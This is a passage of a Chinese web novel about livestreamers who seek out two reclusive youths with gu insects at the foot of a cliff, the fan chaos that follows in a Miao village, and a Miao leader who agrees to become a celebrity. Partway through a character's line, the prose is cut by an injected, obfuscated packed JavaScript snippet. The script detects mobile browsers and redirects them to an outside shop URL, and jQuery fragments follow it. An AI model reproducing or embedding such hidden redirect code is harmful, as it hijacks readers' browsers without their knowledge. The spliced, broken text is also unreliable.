沈怨走在最前面，红衣的衣角在薄雾中若隐若现，腰间的铜铃叮当作响。他时不时回头，对着苏小小挥挥手，脆生生地喊：“小小姐姐，慢点走！这里的藤蔓有点滑，许祭哥哥会扶你的！” 许祭果然放慢了脚步，走在苏小小身侧，目光始终警惕地扫过周围的环境，偶尔在苏小小脚下打滑时，伸手扶她一把，指尖触碰到她的手臂便立刻收回，动作干净利落，没有丝毫多余的接触。 直播间的弹幕早已炸开了锅，在线人数突破了三百万，礼物特效铺满了屏幕。 【卧槽！这崖底的风景也太美了吧！像仙境一样！】 【沈怨小哥哥也太贴心了吧！许祭小哥哥好高冷但好温柔！】 【苏姐快把镜头对准发光的蘑菇！我等不及了！】 终于抵达崖底，苏小小刚站稳脚跟，便被眼前的景象惊呆了。溪水潺潺流淌，水底的鹅卵石泛着淡淡的荧光，岸边的腐叶堆里，一朵朵蘑菇顶着莹白的伞盖，在薄雾中散发着柔和的光芒。枝头的小鸟叽叽喳喳地叫着，声音清脆悦耳，与铜铃的声响交织在一起，构成了一曲绝美的自然乐章。 “怎么样？小小姐姐，这里好看吧！”沈怨拉着苏小小的手，兴奋地带着她在崖底穿梭，一会儿指着发光的蘑菇，一会儿又跑到溪边，捞起一颗亮晶晶的石子给她看，“你看！这个石子晚上会发光，我和许祭哥哥的山洞里，摆了好多好多！” 苏小小举着云台相机，镜头紧紧跟随着沈怨的身影，嘴里不停地解说着：“家人们！你们看到了吗？这就是传说中的发光蘑菇！还有这荧光石子，简直太神奇了！这里根本不是什么绝地，而是人间仙境啊！” 许祭早已去了溪边，他熟练地处理着刚才捞起的银鳞小鱼，架起篝火，开始烤鱼。不一会儿，一股浓郁的香气便弥漫开来，勾得苏小小肚子咕咕直叫。 “小小姐姐，快来吃鱼！”沈怨拉着苏小小跑到篝火旁，递给她一条烤得金黄的小鱼，眼睛亮晶晶地看着她，“许祭哥哥烤的鱼超级好吃，你快尝尝！” 苏小小小心翼翼地接过烤鱼，吹了吹热气，轻轻咬了一口。外酥里嫩的鱼肉带着淡淡的炭火香气，还有一丝溪水的清甜，瞬间征服了她的味蕾。她对着镜头竖起大拇指，声音里满是赞叹：“家人们！这是我吃过最好吃的烤鱼！许祭小哥哥的厨艺也太绝了吧！” 许祭坐在一旁，看着沈怨吃得津津有味的模样，眼底的温柔几乎要溢出来。他偶尔抬眼，扫过苏小小手中的云台相机，目光里没有了之前的冷冽，多了一丝默许。 老婆婆坐在山洞门口的石墩上，拄着竹杖，静静地看着这一切。她枯瘦的脸上没有任何表情，只有腰间的铜铃，在风里轻轻作响，与沈怨腰间的铜铃交相呼应。 不远处的茅草屋旁，上官渡与绫司司也走了出来。她们看着苏小小在崖底穿梭的身影，看着沈怨脸上纯粹的笑容，两人的脸上都露出了一丝复杂的神色。绫司司轻轻叹了口气，低声道：“或许，这样也挺好的。” 上官渡点了点头，目光望向许祭与沈怨的方向，眼底闪过一丝不易察觉的释然。 沈怨拉着苏小小，一会儿去看发光的蘑菇，一会儿又去听小鸟唱歌，玩得不亦乐乎。他甚至从袖中放出几只颜色各异的蛊虫，让它们在苏小小面前飞舞，脆生生地介绍：“这是我的宝贝们！它们很乖的，不会咬人的！” 苏小小看着那些漂亮的蛊虫，再也没有了之前的恐惧，反而兴奋地对着镜头展示：“家人们！你们看！这些蛊虫简直太漂亮了！它们一点都不可怕，反而很可爱！” 直播间的弹幕瞬间被“好可爱”“想养一只”刷屏，粉丝们对沈怨的好感度瞬间拉满。 时间过得飞快，不知不觉间，夕阳已经西下，崖底的雾气越来越浓。许祭看了一眼天色，对着沈怨道：“阿怨，天快黑了，小小姐姐该回去了。” 沈怨的脸上露出了一丝不舍，他拉着苏小小的手，脆生生地说：“小小姐姐，你下次一定要再来哦！我还带你去看发光的蘑菇，还让许祭哥哥给你烤鱼吃！” “一定一定！”苏小小忙不迭地点头，脸上的笑容依旧灿烂，“我下次一定带更多好吃的来，和你们一起分享！” 她对着镜头挥了挥手，声音里带着一丝不舍：“家人们！今天的直播就要结束了！感谢大家的陪伴！下次我一定带你们再来这个人间仙境，看沈怨小哥哥和他的宝贝们！” 许祭送苏小小到崖壁下，看着她顺着藤蔓缓缓向上爬，直到她的身影彻底消失在崖顶，才转身回到沈怨身边。 沈怨立刻扑进许祭的怀里，声音里带着一丝疲惫，却又满是兴奋：“许祭哥哥，今天真开心！小小姐姐和屏幕那边的大家，都好喜欢崖底的风景！” “嗯。”许祭紧紧抱着他，指尖轻轻摩挲着他的后背，声音里带着化不开的温柔，“只要阿怨开心，就好。” 老婆婆缓缓走上前，枯瘦的脸上露出了一丝极淡的笑意，沙哑的声音里带着一丝赞许：“傻孩子，今天玩得尽兴就好。” 不远处的茅草屋旁，上官渡与绫司司也转身走回了屋中。崖底的篝火渐渐熄灭，只剩下溪水的潺潺声，和铜铃的清脆声响。 直播间的弹幕还在疯狂滚动，粉丝们还在讨论着今天的直播，可苏小小早已没了继续直播的心思。她站在崖顶，看着断魂崖底的方向，脸上露出了一丝满足的笑容。 没有人知道，这场看似愉快的做客，会给断魂崖底的平静生活，带来怎样的变数。也没有人知道，许祭的心中，已经开始盘算着，如何在不打扰沈怨的前提下，让苏小小保持着这份“距离感”。 只有那只赤红的蛊虫知道，许祭的心中，从来都只有一个念头——护着沈怨，直到永远。 苏小小坐在溪边的萤石上，手里捧着许祭刚烤好的小鱼，云台相机正稳稳架在一旁，直播间的在线人数依旧维持在两百万以上。她看着不远处正追着蝴蝶跑的沈怨，深吸一口气，对着麦克风压着声音，抛出了一个酝酿已久的问题：“阿怨，你愿不愿意和姐姐回苗寨看看呀？” 沈怨的脚步瞬间停住，红衣的衣角还在风中微微晃动。他歪着头，眼底满是懵懂的好奇，脆生生地反问：“回苗寨？那里有发光的蘑菇吗？有会唱歌的小鸟吗？” “有！当然有！”苏小小立刻来了精神，对着镜头比了个兴奋的手势，声音里满是蛊惑，“苗寨有好多好看的花，有热情的族人，还有好多小朋友可以和你一起玩！而且，那里的糯米饭是彩色的，比许祭哥哥烤的鱼还要香呢！” 直播间的弹幕瞬间炸开了锅。 【卧槽！苏姐这是要带沈怨小哥哥回苗寨？】 【苗寨的人要是知道了，肯定会疯掉的吧！】 【沈怨小哥哥快答应！我想看苗寨的盛大欢迎！】 沈怨低头想了想，又抬头看向不远处正安静坐着的许祭，见许祭没有反对，便用力点了点头，脸上露出了灿烂的笑容：“好呀！那我邀请小小姐姐，还有苗寨的大家，来崖底做客！不过，他们不能逼我离开哦！” 苏小小简直不敢相信自己的耳朵，激动得差点把手里的烤鱼掉在地上。她立刻对着镜头，声音里带着志在必得的兴奋：“家人们！你们听到了吗？沈怨小哥哥同意和我回苗寨了！不过他有一个条件，就是大家不能逼他离开断魂崖底！” 她的话音刚落，早已悄悄守在崖顶的苗寨族人便瞬间沸腾了。寨老拄着拐杖，激动得热泪盈眶，对着身边的族人连声喊道：“快！快回去准备！大祭祀要回来了！” 族人们立刻欢呼着跑回苗寨，一时间，苗寨的吊脚楼间响起了此起彼伏的号角声，妇女们开始忙碌着蒸五色糯米饭，男人们则拿着芦笙，准备着盛大的欢迎仪式。罗囡囡站在崖顶，看着崖底那道红衣身影，眼底的执拗终于化为了一丝释然。 直播间的粉丝们也彻底疯狂了，礼物特效铺满了屏幕，无数粉丝在弹幕里喊着“要去苗寨看沈怨”“要去现场见证”。苏小小看着不断上涨的粉丝数和打赏，脸上的笑容得意又满足，她丝毫没有意识到，自己的一句话，已经点燃了粉丝们的热情，也为苗寨带来了一场始料未及的“风暴”。 当天下午，当苏小小带着沈怨和许祭缓缓走出断魂崖，踏上苗寨的土地时，苗寨的欢迎仪式已经达到了高潮。族人们穿着盛装，手持芦笙和彩带，围着沈怨载歌载舞，五色糯米饭的香气弥漫在整个苗寨，空气中满是喜悦的气息。 沈怨被这阵仗吓了一跳，下意识地往许祭怀里缩了缩，却还是忍不住好奇地打量着周围的一切，时不时对着热情的族人挥挥手，脆生生地喊着：“你们好呀！我是沈怨！” 就在这时，一阵喧闹的汽车鸣笛声突然从苗寨的入口传来。只见数十辆私家车浩浩荡荡地开进了苗寨，车门打开，一群穿着时尚的年轻人蜂拥而出，他们手里举着灯牌和横幅，上面写着“沈怨我们爱你”“许祭哥哥好帅”等字样。 正是苏小小的粉丝，他们从直播里得知沈怨要回苗寨的消息，便自发组织起来，从全国各地赶来，只为了见沈怨和许祭一面。 “沈怨小哥哥！我们来看你了！” “许祭哥哥！我们喜欢你！” “苏姐！我们来支持你了！” 粉丝们的呼喊声瞬间盖过了苗寨族人的芦笙声，他们疯狂地朝着沈怨和许祭的方向挤去，手里的灯牌和横幅不停地挥舞着，场面瞬间变得混乱起来。 苗寨的族人们瞬间懵了，他们怎么也没想到，会突然跑来这么多陌生人。寨老拄着拐杖，试图维持秩序，却被汹涌的人潮挤得连连后退。罗囡囡立刻上前，挡在沈怨和许祭面前，声音里满是冷意：“你们是谁？这里是苗寨，不是你们撒野的地方！” 可粉丝们根本听不进去，他们的眼里只有沈怨和许祭，一个个拼命地往前挤，生怕错过和偶像近距离接触的机会。苏小小也慌了神，她没想到自己的粉丝会这么疯狂，她举着云台相机，试图喊住粉丝，却根本没人理会她。 沈怨被这混乱的场面吓得脸色发白，紧紧抓着许祭的衣角，肩头的赤红蛊虫瞬间振翅飞起，发出威胁性的嗡鸣。许祭立刻将沈怨护在怀里，周身的寒气几乎要将周围的空气冻结，他的目光冷得像冰，直直扫过疯狂的粉丝，声音里带着不容错辨的狠厉：“都给我停下！” 可粉丝们的热情已经被点燃，根本无法停下。就在这时，沈怨突然哭了出来，声音里满是恐惧和委屈：“许祭哥哥！我害怕！我想回崖底！我不想待在这里了！” 许祭的心瞬间揪紧，他不再理会周围的混乱，抱着沈怨，转身就朝着断魂崖的方向跑去。罗囡囡立刻带着几名族人身后掩护，挡住了疯狂追来的粉丝。 苏小小看着两人狼狈离去的背影，看着混乱的苗寨，看着直播间里疯狂滚动的弹幕，脸上的得意瞬间被惊慌取代。她怎么也没想到，自己一场看似完美的直播，竟然会演变成这样一场无法收拾的闹剧。 阳光洒在苗寨的吊脚楼上，却再也没有了之前的温暖。苗寨族人的喜悦瞬间化为了愤怒和无奈，粉丝们的热情也变成了一场闹剧。 没有人知道，这场突如其来的粉丝风暴，会给苗寨，给沈怨，给许祭，带来怎样翻天覆地的变化。也没有人知道，沈怨这一次，是否还会像以前一样，轻易地原谅这个给他带来麻烦的网红。 只有那只赤红的蛊虫知道，许祭的心中，已经对苏小小，对这些疯狂的粉丝，燃起了浓烈的杀意。 混乱的苗寨终于在罗囡囡与苗寨族人的合力维持下，渐渐安静下来。粉丝们看着满地狼藉的彩带，看着苗寨族人愤怒又无奈的脸，再想起刚才沈怨哭着被许祭抱走的模样，脸上的狂热瞬间褪去，取而代之的是深深的愧疚与不安。 苏小小举着云台相机，镜头里是粉丝们垂头丧气的模样，她的声音里满是懊悔，对着麦克风哽咽道：“家人们……我们错了。我们不该这么冲动，不该打扰到沈怨小哥哥，不该破坏苗寨的宁静……” 直播间的弹幕也早已没了之前的狂热，满屏都是道歉的话语。 【对不起！沈怨小哥哥！我们不该这么疯狂！】 【我们只是太喜欢你了，没想到会给你带来这么大的麻烦！】 【求沈怨小哥哥原谅！我们以后再也不会这样了！】 粉丝们自发地排起队，由几个带头的人领着，朝着断魂崖的方向走去。他们手里没有了灯牌和横幅，每个人的手里都捧着一束从苗寨附近采来的野花，脸上满是诚恳的歉意。 许祭正抱着沈怨坐在溪边的萤石上，轻轻拍着他的后背，低声安慰着。沈怨的眼睛还红红的，却已经不再哭泣，他靠在许祭的怀里，指尖轻轻摩挲着肩头赤红蛊虫的背甲，声音里带着一丝委屈：“许祭哥哥，他们好吵……我想回山洞。” “好，我们这就回去。”许祭的声音里满是温柔，眼底却依旧带着一丝冷冽，他刚要起身，便看到了朝着他们走来的粉丝队伍。 粉丝们在离两人数步远的地方停下，带头的年轻人深吸一口气，鼓起勇气开口，声音里满是愧疚：“沈怨小哥哥，许祭小哥哥，我们错了。我们不该一时冲动，跑来打扰你们的生活，更不该吓到你。我们真诚地向你道歉，向苗寨的族人们道歉。” 其他粉丝也纷纷跟着点头，齐声喊道：“对不起！请你们原谅我们！” 沈怨从许祭的怀里探出头，看着粉丝们手里的野花，看着他们脸上诚恳的歉意，眼底的委屈渐渐散去。他歪着头，想了想，然后轻轻摇了摇头，脆生生地说道：“没关系。” 这三个字，像一股暖流，瞬间抚平了粉丝们心中的愧疚。带头的年轻人立刻露出了激动的表情，刚想上前说些什么，却被许祭一个冰冷的眼神吓退。 沈怨又接着说道：“你们只是太喜欢我了，对不对？但是下次不要再这么吵啦！我喜欢安静的地方，喜欢和许祭哥哥一起看发光的蘑菇，听小鸟唱歌。” 他说着，从怀里掏出一颗亮晶晶的萤石，递给带头的年轻人，声音里带着少年人的天真：“这个送给你们，它在晚上会发光。你们要是喜欢崖底的风景，可以远远地看，但是不要再来打扰我们啦。” 粉丝们瞬间红了眼眶，带头的年轻人小心翼翼地接过萤石，声音里满是感动：“谢谢你，沈怨小哥哥！我们答应你，以后再也不会来打扰你们的生活了！我们会远远地守护着你，守护着这片仙境！” 苏小小也跟着走上前，对着沈怨和许祭深深鞠了一躬，声音里满是懊悔：“沈怨小哥哥，许祭小哥哥，我也错了。我不该为了流量，一次次地打扰你们的生活，更不该引发这场闹剧。我向你们道歉，我会立刻关闭直播，以后再也不会出现在这里，不会再出现在你们的视线里。” 她说着，便真的关掉了云台相机，将它收进了背包里。 许祭的眼底终于闪过一丝不易察觉的松动，他抱着沈怨，声音里依旧带着一丝冷冽，却少了几分之前的狠厉：“记住你们说的话。滚。” 粉丝们立刻点了点头，对着沈怨和许祭挥了挥手，然后便转身离开了。苏小小也跟着粉丝们一起，默默离开了断魂崖底。 直到他们的身影彻底消失，沈怨才重新靠回许祭的怀里，声音里带着一丝疲惫：“许祭哥哥，我真的想回山洞了。” “好，我们回去。”许祭立刻抱着他，转身朝着山洞的方向走去。肩头的赤红蛊虫轻轻振翅，与他腰间的铜铃交相辉映。 老婆婆坐在山洞门口的石墩上，静静地看着两人走来，枯瘦的脸上露出了一丝极淡的笑意。不远处的茅草屋旁，上官渡与绫司司也走了出来，看着两人相依的背影，脸上露出了释然的笑容。 崖底的阳光越来越暖，溪水潺潺，鸟鸣阵阵。沈怨靠在许祭的怀里，渐渐进入了梦乡，嘴角还挂着一丝甜甜的笑容。 许祭抱着他，轻轻走进山洞，将他放在铺着柔软干草的石床上。他坐在床边，静静地看着沈怨的睡颜，眼底的冷冽彻底消失，只剩下化不开的温柔。 没有人知道，这场闹剧会给苏小小和她的粉丝们带来怎样的改变。也没有人知道，苗寨的族人们是否还会继续执着于让沈怨回去。 但此刻，断魂崖底又恢复了往日的平静。铜铃的声响在山洞里轻轻回荡，与溪水的潺潺声交织在一起，构成了一曲绝美的安眠曲。 风波平息不过半月，断魂崖顶又传来了动静。这一次，没有粉丝的喧闹，没有杂乱的人声，只有一架专业的航拍无人机，正悬停在崖顶的藤蔓间，镜头精准地对准了崖底的溪流与发光蘑菇。 来人名叫张可可，是比苏小小咖位高上数倍的顶流网红。她不靠哗众取宠的噱头，凭的是极致的镜头语言和一手“沉浸式体验”的直播风格，粉丝数破亿，一举一动都能掀起网络巨浪。此次她带着完整的拍摄团队，扛着电影级别的设备，直奔苗寨而来——目标明确，就是断魂崖底的沈怨与许祭。 张可可没有像苏小小那样贸然下崖，而是先在苗寨住了下来。她穿着一身剪裁得体的素色长裙，妆容精致却不张扬，对着镜头展现着苗寨的吊脚楼、五色糯米饭和族人们的日常，语气温柔，解说专业，瞬间就俘获了大批观众。 【可可姐的镜头也太绝了吧！苗寨在她的镜头里像一幅画！】 【和那个苏小小完全不是一个档次！可可姐是来做文化传播的吧！】 【等等！可可姐是不是要去断魂崖底？我听说那里有个红衣小哥哥！】 张可可对此不置可否，只是在直播中偶尔提及“崖底似乎藏着一处不为人知的秘境”，吊足了所有人的胃口。她甚至特意去拜访了罗囡囡，姿态谦卑，言语间满是对苗寨文化的尊重，成功让罗囡囡放下了几分戒心。 直到直播在线人数突破五千万，张可可才终于带着团队，踏上了前往断魂崖的路。她没有选择攀爬藤蔓，而是让团队动用了专业的攀岩设备，安全又平稳地降落在崖底。 彼时，沈怨正拉着许祭的手，蹲在溪边捞萤石，肩头的赤红蛊虫懒洋洋地缩着身子。听到动静，他抬起头，看到的是一群穿着专业户外服的人，正举着各种她叫不出名字的设备，镜头齐刷刷地对准了自己。 沈怨的眉头瞬间皱了起来，下意识地往许祭身后躲了躲，肩头的蛊虫瞬间振翅，发出威胁性的嗡鸣。 许祭将沈怨护得更紧，周身的寒气几乎要将崖底的薄雾冻结。他的目光冷冽地扫过张可可，声音里带着不容错辨的警告：“滚。” 张可可却丝毫没有被吓到。她示意团队暂停拍摄，独自走上前，脸上带着恰到好处的微笑，既不热情得让人反感，也不冰冷得让人疏远。她没有像苏小小那样凑得很近，而是保持着一个礼貌的距离，声音温柔得像崖底的溪水：“你好，我叫张可可。我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037600|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有恶意，只是想通过我的镜头，让更多人看到这片仙境的美，而不是来打扰你们的生活。” 她说着，指了指身后的团队：“我的设备都是静音的，不会发出任何噪音。我们只会远远地拍摄，不会靠近你们，不会打扰你们的日常。如果你们觉得有任何不适，我们会立刻停止，马上离开。” 张可可的话，合情合理，甚至带着一丝小心翼翼的讨好。直播间的弹幕瞬间倒向了她。 【可可姐也太温柔了吧！这才是真正的网红该有的样子！】 【对比苏小小，简直是云泥之别！可可姐是真的尊重别人！】 【沈怨小哥哥别怕！可可姐只是想拍风景！】 沈怨从许祭的臂弯里探出头，看着张可可手中那台看起来就很高级的相机，眼底闪过一丝懵懂的好奇。他歪着头，脆生生地问：“你也想拍发光的蘑菇吗？可是许祭哥哥说，不能让太多人打扰我们。” “我不会打扰的。”张可可立刻点头，语气更加温柔，“我只是想把这里的美，分享给那些无法来到这里的人。你看，我的镜头里，只有风景，只有你和你的朋友，没有任何多余的东西。” 她说着，将相机的屏幕转向沈怨，上面正清晰地映着溪边的萤石和发光的蘑菇，画面美得像一幅油画。 许祭的眉头依旧紧皱，他能感觉到张可可的来意绝不简单。她的温柔和礼貌，不过是更高级的伪装，其本质，和苏小小一样，都是为了流量。但他看着沈怨眼底的好奇，又看着张可可团队那副“绝不越界”的姿态，一时竟找不到合适的理由拒绝。 张可可似乎看穿了许祭的顾虑，她再次开口，声音里带着一丝笃定：“我可以和你们做个约定。我们只拍摄三天，三天后，立刻离开。拍摄内容全程由你们审核，任何你们不喜欢的画面，我们都会立刻删除。并且，我不会在直播中透露任何关于你们的私人信息，只会称你们为‘崖底的守护者’。” 这番话，几乎堵死了所有拒绝的借口。直播间的粉丝们更是疯狂刷屏，纷纷表示“支持可可姐”“相信可可姐的人品”。 沈怨看了看许祭，又看了看张可可手中的相机，最终拉了拉许祭的衣角，小声道：“许祭哥哥，她好像和小小姐姐不一样。我们就答应她吧，只要她不吵到我们就好。” 许祭沉默了片刻，指尖轻轻摩挲着沈怨温热的掌心，最终缓缓点了点头。但他的目光依旧冷冽地落在张可可身上，声音里带着不容错辨的狠厉：“记住你的约定。一旦你越界，后果不是你能承受的。” 张可可的眼底闪过一丝不易察觉的兴奋，却依旧保持着温柔的笑容：“放心，我说到做到。” 很快，张可可的团队便开始了拍摄。他们果然如承诺的那样，全程静音，远远地跟拍，镜头里满是崖底的仙境风光，以及沈怨与许祭相依相伴的温柔画面。张可可的解说恰到好处，没有过多的揣测，只有对风景的赞叹和对两人生活的尊重。 直播间的在线人数瞬间突破了一亿，礼物特效铺满了屏幕，张可可的粉丝数也在疯狂上涨。 但许祭始终没有放松警惕。他注意到，张可可的镜头，总是有意无意地对准沈怨的脸，对准他颈间若隐若现的祭祀印记，甚至对准他肩头的蛊虫。她的团队，也在悄悄拍摄着崖底的地形，似乎在寻找着什么。 老婆婆坐在山洞门口的石墩上，枯瘦的手指轻轻摩挲着竹杖上的纹路，眼底闪过一丝锐利的光芒。她看着张可可团队忙碌的身影，声音沙哑地对许祭道：“这女人，比之前那个更厉害。她的刀，藏在温柔的笑容里。” 许祭点了点头，目光紧紧锁在沈怨身上。沈怨正蹲在地上，看着张可可的团队拍摄发光的蘑菇，脸上满是好奇。他丝毫没有察觉到，一场比苏小小那次更危险的风暴，正在悄然酝酿。 阳光洒在崖底的溪流上，泛着粼粼的波光。张可可的镜头依旧温柔，解说依旧专业，但她的眼底，却藏着一丝志在必得的野心。 没有人知道，这场看似完美的“沉浸式直播”，会给断魂崖底的平静生活，带来怎样毁灭性的打击。也没有人知道，张可可为了流量，到底准备了多少后手。 拍摄的第二天，崖底的薄雾比往日更淡，阳光透过藤蔓的缝隙，在溪面上洒下一片碎金。张可可让团队留在原地拍摄发光蘑菇，自己则端着一杯温热的山泉，独自走到了溪边，与正蹲在那里捞萤石的沈怨保持着不远不近的距离。 她没有举着相机，也没有开启直播，只是安静地站着，看着沈怨将一颗泛着蓝光的萤石放进许祭编织的竹篮里，才温柔地开口：“沈怨，你手里的萤石，是只在崖底才有吗？” 沈怨抬起头，红衣的衣角沾了些许溪水的湿痕，他歪着头看了看张可可，又低头晃了晃手里的萤石，脆生生地答：“嗯！婆婆说，这是崖底的泉水养出来的，外面的世界没有这么亮的光。” “真好看。”张可可的声音里带着恰到好处的赞叹，她没有像苏小小那样伸手去碰，只是远远地看着，“你和许祭哥哥，在这里住了很久吗？” “好像很久了。”沈怨的眉头轻轻皱了一下，似乎在努力回忆，可脑海里只有和许祭、婆婆在一起的画面，“我不记得以前的事了，但是和许祭哥哥在一起，每天都很开心。” 许祭就坐在不远处的石墩上，目光始终锁在沈怨身上。他看着张可可与沈怨相谈甚欢的模样，看着沈怨脸上渐渐绽开的笑容，周身的寒气似乎淡了几分，却依旧皱着眉，指尖无意识地摩挲着腰间的萤石吊坠。他能感觉到，张可可的问题都带着刻意的引导，却又句句都落在沈怨感兴趣的点上，让他无从阻止。 接下来的时间里，张可可每天都会抽出一小时，关掉所有设备，陪沈怨聊天。她不问苗寨，不问大祭祀，也不问蛊虫，只听沈怨讲崖底的发光蘑菇如何在夜里绽放，讲小鸟如何唱着不同的歌，讲许祭如何烤出最香的鱼。 她会认真地听着，偶尔提出一两个天真的问题，比如“发光的蘑菇会结果吗？”“小鸟会不会也喜欢萤石？”，每一个问题都能让沈怨兴奋地讲上半天。 这天傍晚，沈怨拉着许祭的手，跑到张可可面前，脸上带着灿烂的笑容：“许祭哥哥，我和可可姐姐成为朋友啦！” 许祭的脚步一顿，低头看向沈怨眼底纯粹的光芒，到了嘴边的拒绝又咽了回去。他抬眼看向张可可，对方依旧保持着温柔的微笑，对着他微微颔首，眼神里却带着一丝不易察觉的得意。 “朋友？”许祭的声音里带着一丝不易察觉的无奈，他揉了揉沈怨的头发，“阿怨喜欢就好。” 沈怨得到了许祭的认可，更加开心了。他从竹篮里挑出一颗最大最亮的萤石，递到张可可面前：“可可姐姐，这个送给你！这是我最喜欢的一颗，晚上会发出暖暖的光，就像许祭哥哥的怀抱一样。” 张可可的眼底闪过一丝狂喜，却依旧保持着平静，她小心翼翼地接过萤石，声音里带着感动：“谢谢你，沈怨。这是我收到过最珍贵的礼物。” 她将萤石捧在手心，对着夕阳的方向晃了晃，镜头外的团队立刻默契地捕捉下这一幕。而这一切，沈怨都没有察觉，他只是拉着张可可的手，兴奋地带着她去看崖壁上最隐蔽的一株发光蘑菇。 许祭站在原地，看着两人的背影，轻轻叹了口气。他能看透张可可温柔面具下的野心，能察觉到她每一个动作里的算计，可他看着沈怨开心的模样，看着沈怨因为有了新的朋友而雀跃的神情，竟生出了一丝无可奈何。 他知道，张可可正在一步步地走进沈怨的世界，而他，却只能眼睁睁地看着，无法阻止。 老婆婆坐在山洞门口，看着这一幕，枯瘦的脸上没有任何表情，只是腰间的铜铃轻轻作响。她对着走过来的许祭，沙哑地开口：“这女人，比你想象的更可怕。她抓住了阿怨的软肋。” “我知道。”许祭的声音里带着一丝疲惫，却依旧坚定，“只要她敢伤害阿怨，我定让她付出代价。” 拍摄的第三天很快就到了。张可可的团队按照约定，将所有拍摄的素材交给许祭审核。画面里全是崖底的仙境风光，以及沈怨与许祭相依相伴的温柔瞬间，没有任何多余的内容。 张可可对着沈怨挥了挥手，声音里带着不舍：“沈怨，我要走了。以后有机会，我会再来看你的。” “好呀！”沈怨用力点了点头，“可可姐姐一定要来！我会给你留最大的萤石，让许祭哥哥给你烤最好吃的鱼！” 许祭站在沈怨身边，看着张可可带着团队缓缓升上崖顶，眼底的冷冽再次浮现。他知道，张可可不会就此罢休，她与沈怨的“友谊”，不过是她流量计划里的一步棋。 可当他低头看到沈怨脸上依旧灿烂的笑容时，所有的狠话都化作了一声无奈的叹息。 崖底的风轻轻吹过，铜铃的声响与溪水的潺潺声交织在一起。沈怨拉着许祭的手，蹦蹦跳跳地朝着山洞走去，嘴里还在兴奋地说着：“许祭哥哥，可可姐姐说，外面的世界有很多好看的花，但是都没有崖底的发光蘑菇好看！” “嗯。”许祭紧紧握着沈怨的手，声音里带着化不开的温柔，“阿怨喜欢的，就是最好的。” 没有人知道，张可可回到苗寨后，会如何处理那些拍摄素材。也没有人知道，她与沈怨的“友谊”，会给断魂崖底的平静生活，带来怎样的变数。 只有许祭知道，从沈怨喊出“可可姐姐”的那一刻起，他就必须做好万全的准备，随时守护着他的阿怨，不让任何人伤害他。 14. 明星梦 张可可回到都市的第三周，便陷入了前所未有的粉丝骚扰风波。 那些被她直播里沈怨的“仙境生活”勾住的粉丝，一部分因她未能将沈怨带出断魂崖而心生不满，一部分则疯狂迷恋上“崖底守护者”的设定，开始对她进行围追堵截。她的住处楼下常年聚集着扛着相机的私生，手机被陌生来电轰炸，就连出门买杯咖啡，都能被认出来围得水泄不通。 这天，张可可被一群狂热粉丝堵在地下车库的拐角，对方手里举着自制的灯牌，嘴里喊着“交出沈怨的联系方式”“带我们去断魂崖”，推搡间，她的头发被扯乱，随身携带的包也掉在了地上，里面的那枚沈怨送的徽章和随身物品散落一地。 就在她绝望地蜷缩在角落，以为自己要被人群淹没时，一道清冷的女声突然响起：“都让开。” 声音不大，却带着一股源自血脉与身份的威压，让躁动的人群瞬间安静下来。 张可可抬头，便看到一个身着苗寨传统月白苗裙的女子缓步走来。她的裙摆上绣着繁复却素雅的银饰纹章，头发如墨般用一根银簪松松挽起，耳坠是两颗圆润的白珍珠，眉眼精致得如同深山里的皎皎明月，周身萦绕着一股淡淡的药草与檀香混合的气息——那是苗寨深处，只有最尊贵的族人才能拥有的味道。 女子的身后跟着两个身着黑色劲装的苗寨护卫，动作利落地上前，将围堵的粉丝尽数隔开。他们的招式带着苗寨特有的利落狠辣，却又点到即止，只一个眼神，便让那些狂热的粉丝不敢再上前一步。 “你没事吧？”女子走到张可可面前，蹲下身，声音温柔却带着一丝疏离。她伸手将张可可散落的物品一一捡起，最后拿起那枚镶嵌着蓝色晶石的徽章，指尖拂过上面的藤蔓纹路，眼底闪过一丝不易察觉的波澜——这纹路，分明带着断魂崖底的气息。 张可可看着女子绝美的容颜，一时竟看得呆了，直到对方将徽章递到她手中，才回过神来，声音带着一丝颤抖：“谢……谢谢你。你是谁？” “陈杬祝。”女子淡淡开口，眼底没有丝毫波澜，“苗寨人，只是来都市办点事。” 陈杬祝！张可可的脑海里瞬间炸开了锅。她在苗寨住的那段日子里，曾听族人们私下提起过这个名字——那是苗寨隐于幕后的真正掌权者，血脉纯正，地位尊崇，就连司命罗囡囡，都要对她行晚辈之礼。传闻她常年居于苗寨最深处的梨花园，极少涉足外界，更从未有人想过，她会出现在这繁华都市的地下车库。 那些粉丝见陈杬祝来头不小，又被她身后的人死死拦住，终于不敢再纠缠，骂骂咧咧地散去了。 车库里终于恢复了平静，张可可整理了一下凌乱的衣衫，看着陈杬祝依旧站在原地的身影，心中突然涌起一个大胆到极致的念头。 她深吸一口气，走到陈杬祝面前，目光里带着志在必得的兴奋，丝毫没有了刚才的狼狈：“陈杬祝小姐，你是我见过最美的人。” 陈杬祝的眉头微不可察地皱了一下，刚想开口拒绝，却被张可可的下一句话打断。 “你有没有想过，当一个大明星？”张可可的声音里带着一丝蛊惑，她想起了沈怨的拒绝，却在看到陈杬祝的瞬间，觉得自己找到了比沈怨更适合站在聚光灯下的人。那是一种融合了苗寨的神秘与极致的美貌，一旦曝光，必将轰动整个世界，“以你的容貌和气质，只要你愿意，我可以让你一夜之间爆红，让全世界的人都为你疯狂！我会给你最好的资源，最顶级的团队，让你站在娱乐圈的最顶端！” 陈杬祝闻言，眼底闪过一丝不易察觉的玩味。她此次来都市，本就是为了探查外界对苗寨与断魂崖的窥探。张可可的出现，或许正是一个绝佳的契机——以明星的身份，站在聚光灯下，既能掌握外界的动向，又能反过来引导舆论，将苗寨的秘密，牢牢掌控在自己手中。 张可可的心瞬间提到了嗓子眼，她生怕陈杬祝会像沈怨一样拒绝自己。毕竟，这样的人，似乎本就该隐于苗寨深处，不染俗世烟火。 然而，陈杬祝却缓缓点了点头，声音依旧清冷，却带着一丝不容错辨的坚定：“好，我同意。” 